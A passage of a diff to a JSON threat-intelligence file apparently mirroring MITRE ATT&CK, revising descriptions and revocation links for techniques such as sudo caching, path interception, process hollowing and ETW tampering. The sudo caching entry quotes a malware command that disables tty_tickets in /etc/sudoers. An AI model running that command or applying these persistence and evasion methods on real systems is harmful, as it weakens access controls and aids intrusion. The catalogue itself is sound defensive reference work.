apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)", "meta": { "external_id": "T1022", - "kill_chain": [ - "mitre-attack:exfiltration" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Binary file metadata" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1022", "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", "https://en.wikipedia.org/wiki/List_of_file_signatures" ] }, + "related": [ + { + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", "value": "Data Encrypted - T1022" }, @@ -9048,27 +17064,44 @@ "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", "meta": { "external_id": "CAPEC-132", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1023", "https://capec.mitre.org/data/definitions/132.html" ] }, + "related": [ + { + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", "value": "Shortcut Modification - T1023" }, { - "description": "An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads to exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. \n\nAs an example, an adversary may weaponize Windows Shortcut Files (.lnk) to bait a user into clicking to execute the malicious payload.(Citation: Proofpoint TA505 June 2018) A malicious .lnk file may contain [PowerShell](https://attack.mitre.org/techniques/T1086) commands. Payloads may be included into the .lnk file itself, or be downloaded from a remote server.(Citation: FireEye APT29 Nov 2018)(Citation: PWC Cloud Hopper Technical Annex April 2017) \n\nWhile User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.", + "description": "An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.\n\nFurther, malicious applications can register for intents broadcasted by other applications in addition to the Android system itself. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.\n\nIn Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)", + "meta": { + "external_id": "T1402", + "kill_chain": [ + "mitre-mobile-attack:persistence", + "mitre-mobile-attack:execution" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1402", + "https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts" + ] + }, + "uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "value": "Broadcast Receivers - T1402" + }, + { + "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "meta": { "external_id": "T1204", "kill_chain": [ @@ -9085,10 +17118,7 @@ "macOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1204", - "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times", - "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "https://attack.mitre.org/techniques/T1204" ] }, "uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", @@ -9109,7 +17139,7 @@ "value": "Task requirements - T1240" }, { - "description": "Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. \n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", + "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "meta": { "external_id": "T1205", "kill_chain": [ @@ -9123,7 +17153,8 @@ ], "mitre_platforms": [ "Linux", - "macOS" + "macOS", + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1205", @@ -9131,10 +17162,10 @@ ] }, "uuid": "451a9977-d255-43c9-b431-66de80130c8c", - "value": "Port Knocking - T1205" + "value": "Traffic Signaling - T1205" }, { - "description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.", + "description": "**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.", "meta": { "external_id": "T1026", "kill_chain": [ @@ -9164,23 +17195,21 @@ "description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", "meta": { "external_id": "T1206", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1206", "https://www.sudo.ws/", "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does" ] }, + "related": [ + { + "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "2169ba87-1146-4fc7-a118-12b72251db7e", "value": "Sudo Caching - T1206" }, @@ -9188,20 +17217,6 @@ "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", "meta": { "external_id": "T1209", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "API monitoring", - "Binary file metadata", - "DLL monitoring", - "File monitoring", - "Loaded DLLs", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1209", "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top", @@ -9211,11 +17226,20 @@ "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, + "related": [ + { + "dest-uuid": "61afc315-860c-4364-825d-0d62b2e91edc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87", "value": "Time Providers - T1209" }, { - "description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.", + "description": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "meta": { "external_id": "T1029", "kill_chain": [ @@ -9253,7 +17277,7 @@ "value": "Shadow DNS - T1340" }, { - "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", + "description": "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", "meta": { "external_id": "CAPEC-159", "kill_chain": [ @@ -9308,56 +17332,22 @@ "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.", "meta": { "external_id": "T1035", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1035" ] }, + "related": [ + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", "value": "Service Execution - T1035" }, - { - "description": "Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.", - "meta": { - "external_id": "CAPEC-557", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1053", - "https://capec.mitre.org/data/definitions/557.html", - "https://technet.microsoft.com/en-us/library/cc785125.aspx", - "https://twitter.com/leoloobeek/status/939248813465853953", - "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", - "https://technet.microsoft.com/library/dd315590.aspx", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ] - }, - "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "value": "Scheduled Task - T1053" - }, { "description": "Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)", "meta": { @@ -9372,52 +17362,25 @@ "uuid": "d3dca536-8bf0-4e43-97c1-44a2353c3d69", "value": "Anonymity services - T1306" }, - { - "description": "### Windows\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n### Mac\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.", - "meta": { - "external_id": "CAPEC-564", - "kill_chain": [ - "mitre-attack:lateral-movement", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1037", - "https://capec.mitre.org/data/definitions/564.html", - "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx", - "https://support.apple.com/de-at/HT2420" - ] - }, - "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", - "value": "Logon Scripts - T1037" - }, { "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Endgame Process Injection July 2017)", "meta": { "external_id": "T1093", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1093", "http://www.autosectools.com/process-hollowing.pdf", "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" ] }, + "related": [ + { + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", "value": "Process Hollowing - T1093" }, @@ -9448,17 +17411,6 @@ "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ", "meta": { "external_id": "CAPEC-571", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Sensor health and status", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1054", "https://capec.mitre.org/data/definitions/571.html", @@ -9467,25 +17419,45 @@ "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63" ] }, + "related": [ + { + "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", "value": "Indicator Blocking - T1054" }, + { + "description": "Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries.\n\nWith root access, `ptrace` can be used to target specific applications and load shared libraries into its process memory.(Citation: Shunix Code Injection Mar 2016)(Citation: Fadeev Code Injection Aug 2018) By injecting code, an adversary may be able to gain access to higher permissions held by the targeted application by executing as the targeted application. In addition, the adversary may be able to evade detection or enable persistent access to a system under the guise of the application’s process.(Citation: Google Triada June 2019)\n", + "meta": { + "external_id": "T1540", + "kill_chain": [ + "mitre-mobile-attack:persistence", + "mitre-mobile-attack:privilege-escalation", + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1540", + "https://shunix.com/shared-library-injection-in-android/", + "https://fadeevab.com/shared-library-injection-on-android-8/", + "https://security.googleblog.com/2019/06/pha-family-highlights-triada.html" + ] + }, + "uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", + "value": "Code Injection - T1540" + }, { "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", "meta": { "external_id": "T1504", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Process monitoring", - "File monitoring", - "PowerShell logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1504", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6", @@ -9494,6 +17466,15 @@ "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" ] }, + "related": [ + { + "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "723e3a2b-ca0d-4daa-ada8-82ea35d3733a", "value": "PowerShell Profile - T1504" }, @@ -9501,16 +17482,6 @@ "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)", "meta": { "external_id": "CAPEC-570", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1045", "https://capec.mitre.org/data/definitions/570.html", @@ -9518,6 +17489,15 @@ "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf" ] }, + "related": [ + { + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", "value": "Software Packing - T1045" }, @@ -9542,7 +17522,7 @@ "value": "Biometric Spoofing - T1460" }, { - "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022).\n\nInteractive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", + "description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.", "meta": { "external_id": "T1074", "kill_chain": [ @@ -9562,14 +17542,16 @@ "Azure" ], "refs": [ - "https://attack.mitre.org/techniques/T1074" + "https://attack.mitre.org/techniques/T1074", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020" ] }, "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", "value": "Data Staged - T1074" }, { - "description": "Execution guardrails constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the 